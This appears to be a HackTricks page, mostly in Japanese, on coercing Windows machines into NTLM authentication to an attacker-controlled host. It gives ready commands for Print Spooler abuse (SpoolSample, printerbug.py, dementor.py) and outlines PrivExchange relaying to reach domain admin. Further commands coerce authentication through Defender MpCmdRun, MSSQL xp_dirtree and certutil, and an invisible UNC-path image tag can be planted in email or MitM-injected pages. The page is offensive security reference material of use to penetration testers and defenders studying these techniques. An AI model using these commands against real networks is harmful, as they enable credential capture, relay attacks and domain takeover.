Force NTLM Privileged Authentication

Support HackTricks

SharpSystemTriggers

SharpSystemTriggers は、3rd party dependenciesを避けるためにMIDLコンパイラを使用してC#でコーディングされたリモート認証トリガーコレクションです。

Spooler Service Abuse

Print Spooler サービスが有効な場合、既知のAD資格情報を使用してドメインコントローラーの印刷サーバーに新しい印刷ジョブの更新要求し、通知を任意のシステムに送信するように指示できます。 プリンターが任意のシステムに通知を送信する際には、そのシステムに対して認証する必要があります。したがって、攻撃者は_Print Spooler_ サービスを任意のシステムに対して認証させることができ、その認証ではコンピュータアカウントが使用されます。

Finding Windows Servers on the domain

PowerShellを使用して、Windowsボックスのリストを取得します。サーバーは通常優先されるため、そこに焦点を当てましょう:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Spoolerサービスのリスニングを確認する

少し修正された@mysmartlogin(Vincent Le Toux)のSpoolerScannerを使用して、Spoolerサービスがリスニングしているか確認します:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Linux上でrpcdump.pyを使用し、MS-RPRNプロトコルを探すこともできます。

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

サービスに任意のホストに対して認証を要求させる

ここからSpoolSampleをコンパイルできます.

SpoolSample.exe <TARGET> <RESPONDERIP>

または、Linuxを使用している場合は、3xocyteのdementor.pyまたはprinterbug.pyを使用してください。

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Unconstrained Delegationとの組み合わせ

攻撃者がすでにUnconstrained Delegationを持つコンピュータを侵害している場合、攻撃者はプリンタをこのコンピュータに対して認証させることができます。制約のない委任のため、プリンタのコンピュータアカウントのTGTは、制約のない委任を持つコンピュータのメモリ保存されます。攻撃者はすでにこのホストを侵害しているため、このチケットを取得し、それを悪用することができます(Pass the Ticket)。

RCP強制認証

PrivExchange

PrivExchange攻撃は、Exchange ServerのPushSubscription機能に見つかった欠陥の結果です。この機能により、メールボックスを持つ任意のドメインユーザーがHTTP経由で任意のクライアント提供ホストに対してExchangeサーバーを強制的に認証させることができます。

デフォルトでは、ExchangeサービスはSYSTEMとして実行され、過剰な特権が与えられています(具体的には、2019年以前の累積更新のドメインに対するWriteDacl特権があります)。この欠陥は、LDAPへの情報の中継を可能にし、その後ドメインNTDSデータベースを抽出するために悪用できます。LDAPへの中継が不可能な場合でも、この欠陥はドメイン内の他のホストに対して中継および認証するために使用できます。この攻撃の成功した悪用は、認証された任意のドメインユーザーアカウントでドメイン管理者への即時アクセスを許可します。

Windows内部

すでにWindowsマシン内にいる場合、特権アカウントを使用してサーバーに接続するようWindowsを強制することができます:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

または、この別の技術を使用します: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

certutil.exe lolbin(Microsoft署名のバイナリ)を使用してNTLM認証を強制することが可能です:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTMLインジェクション

メール経由

もしあなたが侵入したいマシンにログインしているユーザーのメールアドレスを知っているなら、1x1画像を含むメールを送ることができます。

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

そして、彼がそれを開くと、認証を試みるでしょう。

MitM

もしあなたがコンピュータに対してMitM攻撃を実行し、彼が視覚化するページにHTMLを注入できるなら、次のような画像をページに注入してみることができます:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

NTLMv1のクラッキング

NTLMv1チャレンジをキャプチャできる場合は、ここでそれをクラッキングする方法を読んでください。 _ NTLMv1をクラッキングするには、Responderチャレンジを「1122334455667788」に設定する必要があることを忘れないでください。_

HackTricksをサポートする

Last updated